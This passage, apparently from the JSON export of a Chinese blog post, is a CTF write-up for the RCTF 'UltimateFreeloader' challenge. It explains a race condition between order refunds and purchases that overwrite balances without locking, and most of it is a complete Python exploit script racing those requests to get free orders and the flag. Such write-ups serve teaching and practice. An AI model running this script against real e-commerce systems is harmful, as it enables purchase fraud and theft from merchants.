alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u4ee3\u7801\u8fd9\u91cc\u770b\u8d77\u6765\u6ca1\u4ec0\u4e48\u95ee\u9898\uff0c\u540e\u9762\u5c31\u662f\u6570\u636e\u5e93\u8fd9\u8fb9\u7684\u64cd\u4f5c\u4e86\uff0c\u4f1a\u5148\u7528<code>this.orderMapper.insert(order):<\/code>&nbsp;\u5728\u8ba2\u5355\u8868 orders \u4e2d\u63d2\u5165\u4e00\u6761\u65b0\u7684\u8ba2\u5355\u8bb0\u5f55\uff0c\u63a5\u7740\u7528&nbsp;<code>BigDecimal newBalance = user.getBalance().subtract(finalPrice);<\/code>\u8ba1\u7b97\u4e00\u4e2a\u65b0\u4f59\u989d\uff0c\u6700\u540e\u7528<code>this.userService.updateBalance(userId, newBalance)<\/code>\u628a\u65b0\u4f59\u989d\u5199\u5165\u7528\u6237\u7684\u8d26\u6237\uff0c\u8fd9\u91cc\u7684\u903b\u8f91\u5176\u5b9e\u5c31\u975e\u5e38\u7684\u5947\u602a\u4e86\uff0c\u6b63\u5e38\u7684\u4ee3\u7801\u903b\u8f91\u5e94\u8be5\u662f\u5bf9\u6570\u636e\u5e93\u91cc\u7684\u4f59\u989d\u505a\u52a0\u51cf\uff0c\u8fd9\u91cc\u5374\u662f\u7b97\u51fa\u4e00\u4e2a\u65b0\u4f59\u989d\u540e\u66ff\u6362\u6570\u636e\u5e93\u91cc\u7684\u4f59\u989d\uff0c\u5e76\u4e14\u8fd8\u6ca1\u4e0a\u9501\uff0c\u4e00\u770b\u5c31\u5f88\u53ef\u7591\u7684\u6837\u5b50\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/11\/21-22-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/11\/21-22-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u7136\u540e\u518d\u770b\u5230\u9000\u6b3e\u8fd9\u8fb9\u7684\u903b\u8f91\uff0c\u53ef\u4ee5\u770b\u5230\u5dee\u4e0d\u591a\uff0c\u5148\u7528\u52a0\u6cd5\u7b97\u4e00\u4e0b\u5f53\u524d\u7684\u4f59\u989d\u52a0\u4e0a\u9000\u6b3e\u540e\u7684\u503c\u5f97\u5230\u4e00\u4e2a\u65b0\u4f59\u989d\uff0c\u7136\u540e\u7528<code>this.userService.updateBalance<\/code>\u628a\u7528\u6237\u7684\u4f59\u989d\u66ff\u6362\u6210\u65b0\u4f59\u989d\u7684\u503c\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/11\/22-22-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/11\/22-22-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u6240\u4ee5\u4e4b\u524d\u7684\u601d\u8def\u786e\u5b9e\u662f\u6ca1\u95ee\u9898\u7684\uff0c\u5c31\u662f\u8981\u5728\u9000\u6b3e\u8ba2\u5355\u548c\u521b\u5efa\u8ba2\u5355\u4e4b\u95f4\u5e76\u53d1\u505a\u7ade\u4e89\uff0c\u5047\u8bbe\u9000\u6b3e\u8ba2\u5355\u7684\u987a\u5e8f\u662f1.\u68c0\u67e5\u8ba2\u5355\u662f\u5426\u5408\u6cd52.\u5c06\u4f59\u989d\u66ff\u6362\u621010(\u5047\u8bbe\u9000\u6b3e\u540e\u7684\u4f59\u989d\u5e94\u8be5\u662f10)\uff0c\u521b\u5efa\u8ba2\u5355\u7684\u987a\u5e8f\u662f3.\u68c0\u67e5\u8ba2\u5355\u662f\u5426\u5408\u6cd54.\u5c06\u4f59\u989d\u66ff\u6362\u62100(\u5047\u8bbe\u8d2d\u4e70\u540e\u7684\u4f59\u989d\u5e94\u8be5\u662f0)\uff0c\u53ea\u8981\u7ade\u4e89\u5230\u4e00\u4e2a1342\u7684\u987a\u5e8f\uff0c\u5c31\u80fd\u5728\u5b8c\u6210\u521b\u5efa\u8ba2\u5355\u7684\u6240\u6709\u64cd\u4f5c\u540e\u53cd\u800c\u6267\u884c\u5230\u9000\u6b3e\u8ba2\u5355\u7684\u64cd\u4f5c2\uff0c\u5c06\u4f59\u989d\u66ff\u6362\u621010\uff0c\u8fd9\u6837\u5c31\u6210\u529f\u5b9e\u73b0\u96f6\u5143\u8d2d\u4e86\u3002<\/p>\n\n\n\n<p>\u56e0\u6b64\u601d\u8def\u5c31\u662f\u5728\u9000\u6b3e\u8ba2\u5355(\u7528\u5238)\u548c\u521b\u5efa\u8ba2\u5355(\u4e0d\u7528\u5238)\u4e4b\u95f4\u4e00\u76f4\u5e76\u53d1\u505a\u6761\u4ef6\u7ade\u4e89\uff0c\u76f4\u5230\u7ade\u4e89\u5230\u67d0\u4e2a\u521b\u5efa\u8ba2\u5355\u662f\u96f6\u5143\u8d2d\u624d\u505c\uff0c\u5426\u5219\u4e00\u76f4\u7ade\u4e89\uff0c\u6700\u540e\u628a\u56db\u4e2a\u5546\u54c1\u5168\u90e8\u96f6\u5143\u8d2d\uff0c\u8fd9\u6837\u5c31\u80fd\u5728\u4e0d\u82b1\u94b1\u6216\u8005\u4f18\u60e0\u5238\u7684\u60c5\u51b5\u4e0b\u5b8c\u6210\u6240\u6709\u8ba2\u5355\u7684\u8d2d\u4e70<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import random\nimport string\nimport threading\nimport time\nfrom decimal import Decimal\n\nimport requests\n\nBASE_URL = \"http:\/\/127.0.0.1:8086\"\n# BASE_URL = \"http:\/\/61.147.171.35:51469\"\n\nTARGET_PRODUCTS = &#91;\"Little Potato\", \"Sweet Potato\", \"Fish Fish\", \"Large Potato\"]\nBASE_PRODUCT_NAME = \"Little Potato\"\n\nSESSION = requests.Session()\n\ndef api_request(method, path, token=None, **kwargs):\n    url = BASE_URL + path\n    headers = kwargs.pop(\"headers\", {})\n    if token:\n        headers&#91;\"Authorization\"] = f\"Bearer {token}\"\n    if \"json\" in kwargs and \"Content-Type\" not in headers:\n        headers&#91;\"Content-Type\"] = \"application\/json\"\n\n    for _ in range(3):\n        try:\n            resp = SESSION.request(method, url, headers=headers, timeout=5, **kwargs)\n            try:\n                return resp.json()\n            except Exception:\n                return {\"code\": resp.status_code, \"raw\": resp.text}\n        except Exception:\n            time.sleep(0.2)\n    return {\"code\": -1, \"error\": \"request failed\"}\n\ndef random_username():\n    return \"ctf\" + \"\".join(random.choices(string.ascii_lowercase + string.digits, k=8))\n\ndef register_user():\n    while True:\n        username = random_username()\n        email = f\"{username}@example.com\"\n        body = {\"username\": username, \"password\": \"Pass1234\", \"email\": email}\n        data = api_request(\"POST\", \"\/api\/user\/register\", json=body)\n        if data.get(\"code\") == 200 and data.get(\"data\", {}).get(\"success\"):\n            d = data&#91;\"data\"]\n            user = d&#91;\"user\"]\n            print(f\"&#91;+] Registered user {username}\")\n            return user&#91;\"id\"], d&#91;\"token\"]\n        else:\n            print(\"&#91;-] register failed:\", data)\n            time.sleep(0.5)\n\ndef get_products(token):\n    data = api_request(\"GET\", \"\/api\/product\/list\", token=token)\n    assert data.get(\"code\") == 200, data\n    products = data&#91;\"data\"]\n    return {p&#91;\"name\"]: p&#91;\"id\"] for p in products}\n\ndef get_coupon_info(token):\n    data = api_request(\"GET\", \"\/api\/coupon\/my\", token=token)\n    assert data.get(\"code\") == 200, data\n    coupons = data&#91;\"data\"]\n    assert coupons\n    return coupons&#91;0]\n\ndef get_user_balance(token):\n    data = api_request(\"GET\", \"\/api\/user\/info\", token=token)\n    assert data.get(\"code\") == 200, data\n    return Decimal(str(data&#91;\"data\"]&#91;\"balance\"]))\n\ndef get_orders(token):\n    data = api_request(\"GET\", \"\/api\/order\/my\", token=token)\n    assert data.get(\"code\") == 200, data\n    return data&#91;\"data\"]\n\ndef create_order(token, product_id, quantity=\"1\", coupon_id=None):\n    body = {\n        \"productId\": product_id,\n        \"quantity\": quantity,\n        \"couponId\": coupon_id,\n    }\n    return api_request(\"POST\", \"\/api\/order\/create\", token=token, json=body)\n\ndef refund_order(token, order_id):\n    return api_request(\"POST\", f\"\/api\/order\/refund\/{order_id}\", token=token)\n\ndef ensure_coupon_unused(token, coupon_id):\n    coupon = get_coupon_info(token)\n    if not coupon&#91;\"isUsed\"]:\n        return\n\n    orders = get_orders(token)\n    for o in orders:\n        if o.get(\"couponId\") == coupon_id and o&#91;\"status\"] == \"COMPLETED\":\n            print(f\"  &#91;*] Restoring coupon by refunding order {o&#91;'id']}\")\n            refund_order(token, o&#91;\"id\"])\n            break\n\n    coupon = get_coupon_info(token)\n    assert not coupon&#91;\"isUsed\"]\n\ndef zero_cost_purchase(token, product_ids, coupon_id, target_name, max_tries=30):\n    target_pid = product_ids&#91;target_name]\n    base_pid = product_ids&#91;BASE_PRODUCT_NAME]\n\n    for attempt in range(1, max_tries + 1):\n        print(f\"  &#91;*] {target_name} try #{attempt}\")\n\n        ensure_coupon_unused(token, coupon_id)\n\n        base_resp = create_order(token, base_pid, quantity=\"1\", coupon_id=coupon_id)\n        if base_resp.get(\"code\") != 200 or not base_resp.get(\"data\", {}).get(\"success\"):\n            print(\"  &#91;-] base order failed:\", base_resp)\n            time.sleep(0.2)\n            continue\n\n        base_order_id = base_resp&#91;\"data\"]&#91;\"order\"]&#91;\"id\"]\n\n        create_result = {}\n        refund_result = {}\n\n        def t_create():\n            nonlocal create_result\n            create_result = create_order(\n                token, target_pid, quantity=\"1\", coupon_id=None\n            )\n\n        def t_refund():\n            nonlocal refund_result\n            refund_result = refund_order(token, base_order_id)\n\n        threads = &#91;threading.Thread(target=t_create), threading.Thread(target=t_refund)]\n        for t in threads:\n            t.start()\n        for t in threads:\n            t.join()\n\n        balance = get_user_balance(token)\n        target_order_id = None\n        success_create = create_result.get(\"code\") == 200 and create_result.get(\n            \"data\", {}\n        ).get(\"success\")\n        if success_create:\n            target_order_id = create_result&#91;\"data\"]&#91;\"order\"]&#91;\"id\"]\n\n        orders = get_orders(token)\n        has_target_completed = any(\n            o&#91;\"productId\"] == target_pid and o&#91;\"status\"] == \"COMPLETED\" for o in orders\n        )\n\n        print(f\"  &#91;*] balance={balance}, target_completed={has_target_completed}\")\n\n        if balance == Decimal(\"10.00\") and has_target_completed:\n            print(f\"  &#91;+] Got free COMPLETED order for {target_name}\")\n            return True\n\n        if target_order_id:\n            print(f\"  &#91;*] refund target order {target_order_id} to restore balance\")\n            refund_order(token, target_order_id)\n            balance_after = get_user_balance(token)\n            print(f\"  &#91;*] balance after refund={balance_after}\")\n            if balance_after &lt; Decimal(\"4.20\"):\n                print(\"  &#91;-] balance too low after refund, give up this user\")\n                return False\n        else:\n            if balance &lt; Decimal(\"4.20\"):\n                print(\"  &#91;-] balance too low, give up this user\")\n                return False\n\n        time.sleep(0.2)\n\n    print(f\"  &#91;-] Max tries reached for {target_name}, give up on this user.\")\n    return False\n\ndef conditions_satisfied(token, product_ids, coupon_id):\n    orders = get_orders(token)\n    balance = get_user_balance(token)\n    coupon = get_coupon_info(token)\n\n    completed = &#91;o for o in orders if o&#91;\"status\"] == \"COMPLETED\"]\n    completed_pids = {o&#91;\"productId\"] for o in completed}\n    has_all_products = all(pid in completed_pids for pid in product_ids.values())\n    has_balance_10 = balance == Decimal(\"10.00\")\n    has_unused_coupon = not coupon&#91;\"isUsed\"]\n\n    return has_all_products, has_balance_10, has_unused_coupon, orders\n\ndef get_flag(token):\n    data = api_request(\"GET\", \"\/api\/flag\/get\", token=token)\n    print(\"&#91;+] \/api\/flag\/get:\", data)\n    return data\n\ndef exploit_once():\n    user_id, token = register_user()\n    products = get_products(token)\n    for name in TARGET_PRODUCTS:\n        assert name in products, f\"product {name} not found\"\n\n    coupon = get_coupon_info(token)\n    coupon_id = coupon&#91;\"id\"]\n    print(\n        f\"&#91;+] User {user_id}, coupon_id={coupon_id}, balance={get_user_balance(token)}\"\n    )\n\n    for name in TARGET_PRODUCTS:\n        ok = zero_cost_purchase(token, products, coupon_id, name)\n        if not ok:\n            return False\n\n    has_all, has_bal10, has_unused, _ = conditions_satisfied(token, products, coupon_id)\n    print(\n        f\"&#91;+] Final check: products={has_all}, balance10={has_bal10}, coupon_unused={has_unused}\"\n    )\n\n    if has_all and has_bal10 and has_unused:\n        print(\"&#91;+] Conditions satisfied, requesting flag...\")\n        get_flag(token)\n        return True\n    return False\n\nif __name__ == \"__main__\":\n    for attempt in range(1, 6):\n        print(f\"===== Attempt {attempt} =====\")\n        try:\n            if exploit_once():\n                break\n        except Exception as e:\n            print(f\"&#91;!] Error in attempt {attempt}: {e}\")\n        time.sleep(0.5)<\/code><\/pre>\n\n\n\n<p>\u56e0\u4e3a\u662f\u6761\u4ef6\u7ade\u4e89\uff0c\u6240\u4ee5\u80fd\u4e0d\u80fd\u6253\u51fa\u6765\u6709\u70b9\u770b\u8138\uff0c\u5b9e\u73b0\u4e0d\u884c\u5237\u65b0\u9776\u673a\u591a\u8bd5\u51e0\u6b21<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u524d\u8a00 \u4e0a\u5468RCTF UltimateFreeloader\u8fd9\u9898\u662f\u96be\u5f97\u7684\u4e1a\u52a1\u5b89\u5168\u7c7b\u578b\u7684\u9898\u76ee\uff0c\u76f8\u6bd4\u4e8e\u5e38\u89c1\u7684\u4ee5RCE\u4e3a [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-4083","post","type-post","status-publish","format-standard","hentry","category-1"],"_links":{"self":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/4083","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/comments?post=4083"}],"version-history":[{"count":3,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/4083\/revisions"}],"predecessor-version":[{"id":4087,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/4083\/revisions\/4087"}],"wp:attachment":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/media?parent=4083"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/categories?post=4083"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/tags?post=4083"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}